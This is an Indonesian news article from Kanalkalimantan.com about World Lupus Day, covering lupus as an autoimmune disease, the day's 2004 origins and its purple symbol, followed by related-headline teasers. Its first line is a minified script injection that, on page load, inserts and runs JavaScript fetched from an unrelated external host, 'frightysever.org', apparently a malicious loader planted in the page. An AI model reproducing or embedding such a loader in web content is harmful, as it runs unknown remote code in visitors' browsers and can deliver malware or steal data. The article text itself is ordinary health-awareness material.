(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari Lupus Sedunia merupakan bentuk perhatian kepada orang-orang yang sedang mengidap penyakit lupus.
Hari Lupus Sedunia menjadi bentuk peringatan yang selalu digaungkan oleh banyak negara untuk meningkatkan kesadaran masyarakat terhadap para penyintas penyakit lupus.
Dilansir dari situs resmi World Lupus Day, lupus merupakan penyakit yang disebabkan oleh autoimun kronis di dalam tubuh sehingga dapat merusak bagian tubuh manapun seperti, kulit, persendian, atau orang di dalam tubuh.
Baca juga: Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai
Saat seseorang mengalami lupus, sistem kekebalan tubuh akan mengalami masalah saat melawan virus, bakteri, dan kuman. Bagi orang yang mengidap penyakit lupus, biasanya sistem kekebalan tubuhnya tidak dapat membedakan antara serangan virus atau bakteri asing dengan jaringan sehat di tubuh yang menyebabkan orang tersebut mengalami peradangan, nyeri, dan kerusakan di berbagai tubuh.
Sejarah Hari Lupus Sedunia
Peringatan ini diawali pada pembentukan di tahun 2004. Pada tahun tersebut komunitas lupus di Kanada menyelenggarakan Hari Lupus Sedunia. Penyelenggaraan tersebut awalnya ditujukan untuk menimbulkan kesadaran masyarakat terhadap penyakit yang disebut autoimun.
Sejak saat itu, peringatan tersebut semakin dikenal dan menjadi peringatan yang sering diselenggarakan. Setelah itu, 13 negara ikut menyelenggarakan peringatan Hari Lupus Sedunia dengan memilih warna ungu sebagai simbol peringatan Hari Lupus Sedunia.
Ungu diartikan sebagai bentuk ketenangan pikiran dan saraf, membagikan semangat, dan memberikan keberanian untuk bertarung melawan lupus. Bukan hanya itu, ungu juga dijadikan simbol perjuangan dalam meretas dampak negatif dari lupus.
Dilansir dari World Lupus Federation, makna dari peringatan ini adalah untuk meningkatkan kesadaran masyarakat terhadap dampak lupus secara fisik, emosional, dan ekonomi di negara mereka.
Selain itu, menurut sumber Lupus Fondation of America memiliki misi untuk menyebarkan kesadaran, mendidik orang lain terhadap lupus, dan mendukung orang-orang pengidap penyakit kejam ini.
Untuk menyelesaikan misi tersebut, tentu perlu ada keterlibatan dari berbagai pihak. Selain itu, kerja sama dengan pemerintah dari berbagai negara sangat penting dalam peningkatan kesadaran dan juga dukungan terhadap para penderita lupus di negara masing-masing. (Kanalkalimantan.com/kk)
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN - Tahapan Pemilihan Kepala Daerah (Pilkada) Serentak 2024 sudah berjalan, salah satu komponen… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menempatkan dana hibah daerah senilai Rp3 miliar untuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 134 warga menerima penghargaan dari Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara… Read More
KANALKALIMANTAN.COM, AMUNTAI – “Jum’at Berbagi” menjadi salah satu program yang dijalankan Satuan Pembinaan Masyarakat (Sat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pelaksanaan Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarbaru sedikit berbeda daripada… Read More
Koalisi PPP-PKB Cukup untuk Pencalonan Aditya, Pasangan Pendamping Belum Ada Read More
This website uses cookies.